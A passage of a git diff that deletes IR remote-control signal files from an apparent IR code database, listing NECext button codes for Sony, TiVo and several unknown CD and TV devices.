NECext -address: 17 85 00 00 -command: 1A 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 1B 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 1C 00 00 00 -# -name: REC_ON/OFF -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 1D 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 23 00 00 00 -# -name: ADVANCE -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 27 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 3A 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 5B 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 63 00 00 00 -# -name: TIVO_MENU -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 64 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 6E 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 70 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 71 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 72 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 73 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 74 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 75 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/26,154.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/26,154.ir deleted file mode 100644 index 6b4afd442..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/26,154.ir +++ /dev/null @@ -1,410 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 09 00 00 00 -# -name: ENTER/JUMP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 0B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 0B 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 10 00 00 00 -# -name: CHANNEL+ -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 10 00 00 00 -# -name: CHANNEL/PAGE_UP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 10 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 11 00 00 00 -# -name: CHANNEL_ -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 11 00 00 00 -# -name: CHANNEL/PAGE_DOWN -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 11 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 15 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1A 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1B 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1B 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1B 00 00 00 -# -name: BACK_<< -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1B 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1B 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1C 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1C 00 00 00 -# -name: FAST_FWD_>> -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1C 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1C 00 00 00 -# -name: RECORD_ON/OFF -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1D 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1D 00 00 00 -# -name: REC_ON/OFF -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1D 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 23 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 23 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 23 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 2B 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5B 00 00 00 -# -name: MENU_SELECT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5E 00 00 00 -# -name: SE3ECT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5E 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5E 00 00 00 -# -name: MENU_UP_ARROW -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5F 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5F 00 00 00 -# -name: MENU_DOWN_ARROW -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 60 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 60 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 60 00 00 00 -# -name: MENU_RIGHT_ARROW -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 61 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 61 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 61 00 00 00 -# -name: MENU_LEFT_ARROW -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 62 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 62 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 62 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 63 00 00 00 -# -name: TIVO -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 6F 00 00 00 -# -name: TIVO_CENTRAL -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 6F 00 00 00 -# -name: TIVO_MAN -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 6F 00 00 00 -# -name: TIVO_BUTTON -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 6F 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 70 00 00 00 -# -name: THUMB_UP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 70 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 71 00 00 00 -# -name: THUMB_DOWN -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 71 00 00 00 -# -name: ADVANCE -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 72 00 00 00 -# -name: ADVANCE> -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 72 00 00 00 -# -name: GUIDE/LIVE_TV -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 73 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 73 00 00 00 -# -name: GUIDE(LIVE_TV) -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir deleted file mode 100644 index 4e7d0a5b4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: a/b -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: text_clr -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: wakeup -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3C 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3F 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 61 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 74 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 75 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir deleted file mode 100644 index 898a0414b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 10 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: KEY_QUIT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 17 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: MENU1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2A 00 00 00 -# -name: MENU2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: FAST_BACKWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir deleted file mode 100644 index 270accf92..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 15 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2F 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3D 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: EXTRA -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4A 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4B 00 00 00 -# -name: BLOCK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4C 00 00 00 -# -name: FADE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 -# -name: JOG+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 60 00 00 00 -# -name: JOG- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 61 00 00 00 -# -name: JOG++ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 62 00 00 00 -# -name: UNK5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 63 00 00 00 -# -name: JOG+++ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 64 00 00 00 -# -name: UNK3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 65 00 00 00 -# -name: MEMO_INPUT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 69 00 00 00 -# -name: MEMO_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir deleted file mode 100644 index 49b9011b7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: SEVENTEEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 10 00 00 00 -# -name: EIGHTEEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 16 00 00 00 -# -name: NINETEEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 17 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: PGM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: TEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: ELEVEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: TWELVE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: THIRTEEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 23 00 00 00 -# -name: FOURTEEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 -# -name: FIFTEEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: SIXTEEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: >TWENTY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: TWENTY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: A_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: BWD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: BWD_INDEX -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 36 00 00 00 -# -name: FWD_INDEX -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 37 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: BWD_SLOW -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: FWD_SLOW -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3B 00 00 00 -# -name: AUTO_SPACE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4E 00 00 00 -# -name: FADER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir deleted file mode 100644 index e9ed6bd18..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 09 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 0A 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 11 00 00 00 -# -name: Undefined -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 18 00 00 00 -# -name: News -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 19 00 00 00 -# -name: Affairs -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 1B 00 00 00 -# -name: Sport -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 1C 00 00 00 -# -name: Educate -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 1D 00 00 00 -# -name: Drama -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 1E 00 00 00 -# -name: Culture -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 1F 00 00 00 -# -name: Science -type: parsed -protocol: NECext -address: 59 00 